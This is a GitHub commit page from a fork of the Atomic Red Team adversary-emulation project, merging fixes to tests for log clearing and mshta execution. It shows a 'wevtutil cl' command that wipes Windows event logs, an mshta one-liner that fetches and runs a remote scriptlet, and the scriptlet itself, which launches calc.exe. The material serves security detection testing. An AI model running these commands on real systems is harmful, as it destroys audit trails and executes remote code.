Skip to content

Commit

Permalink
Merge pull request #2 from redcanaryco/master
Browse files Browse the repository at this point in the history
Merging upstream changes
  • Loading branch information
timfrazier1 authored Jun 12, 2018
2 parents 257ab12 + 78b3c9c commit 79da8c3
Show file tree
Hide file tree
Showing 8 changed files with 39 additions and 9 deletions.
1 change: 1 addition & 0 deletions CNAME
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
atomicredteam.io
6 changes: 3 additions & 3 deletions atomics/T1070/T1070.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems</b

## Atomic Tests

- [Atomic Test #1 - Clear Logs](#atomic-test-1---clear--logs)
- [Atomic Test #1 - Clear Logs](#atomic-test-1---clear-logs)

- [Atomic Test #2 - FSUtil](#atomic-test-2---fsutil)

Expand All @@ -21,7 +21,7 @@ Defense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems</b

<br/>

## Atomic Test #1 - Clear Logs
## Atomic Test #1 - Clear Logs
Clear Windows Event Logs

**Supported Platforms:** Windows
Expand All @@ -34,7 +34,7 @@ Clear Windows Event Logs

#### Run it with `command_prompt`!
```
evtutil cl #{log_name}
wevtutil cl #{log_name}
```
<br/>
<br/>
Expand Down
4 changes: 2 additions & 2 deletions atomics/T1070/T1070.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ attack_technique: T1070
display_name: Indicator Removal on Host

atomic_tests:
- name: Clear Logs
- name: Clear Logs
description: |
Clear Windows Event Logs
supported_platforms:
Expand All @@ -16,7 +16,7 @@ atomic_tests:
executor:
name: command_prompt
command: |
evtutil cl #{log_name}
wevtutil cl #{log_name}
- name: FSUtil
description: |
Manages the update sequence number (USN) change journal, which provides a persistent log of all changes made to files on the volume.
Expand Down
2 changes: 1 addition & 1 deletion atomics/T1170/T1170.md
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,7 @@ Test execution of a remote script using mshta.exe
#### Inputs
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_url | location of the payload | Url | https://www.example.com/mshta.sct|
| file_url | location of the payload | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct|

#### Run it with `command_prompt`!
```
Expand Down
2 changes: 1 addition & 1 deletion atomics/T1170/T1170.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@ atomic_tests:
file_url:
description: location of the payload
type: Url
default: https://www.example.com/mshta.sct
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct
executor:
name: command_prompt
command: |
Expand Down
29 changes: 29 additions & 0 deletions atomics/T1170/mshta.sct
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
<?XML version="1.0"?>
<scriptlet>
<!-- Test -->
<!-- mshta.exe javascript:a=(GetObject("script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct")).Exec();close(); -->

<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
>

</registration>

<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[

function Exec()
{
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
}

]]>
</script>

</scriptlet>
2 changes: 1 addition & 1 deletion atomics/index.md
Original file line number Diff line number Diff line change
Expand Up @@ -187,7 +187,7 @@
- [T1054 Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md)
- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md)
- [T1070 Indicator Removal on Host](./T1070/T1070.md)
- Atomic Test #1: Clear Logs [windows]
- Atomic Test #1: Clear Logs [windows]
- Atomic Test #2: FSUtil [windows]
- Atomic Test #3: rm -rf [macos, linux]
- [T1202 Indirect Command Execution](./T1202/T1202.md)
Expand Down
2 changes: 1 addition & 1 deletion atomics/windows-index.md
Original file line number Diff line number Diff line change
Expand Up @@ -41,7 +41,7 @@
- [T1054 Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md)
- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTIONS.md)
- [T1070 Indicator Removal on Host](./T1070/T1070.md)
- Atomic Test #1: Clear Logs [windows]
- Atomic Test #1: Clear Logs [windows]
- Atomic Test #2: FSUtil [windows]
- [T1202 Indirect Command Execution](./T1202/T1202.md)
- Atomic Test #1: Indirect Command Execution - pcalua.exe [windows]
Expand Down

0 comments on commit 79da8c3

Please sign in to comment.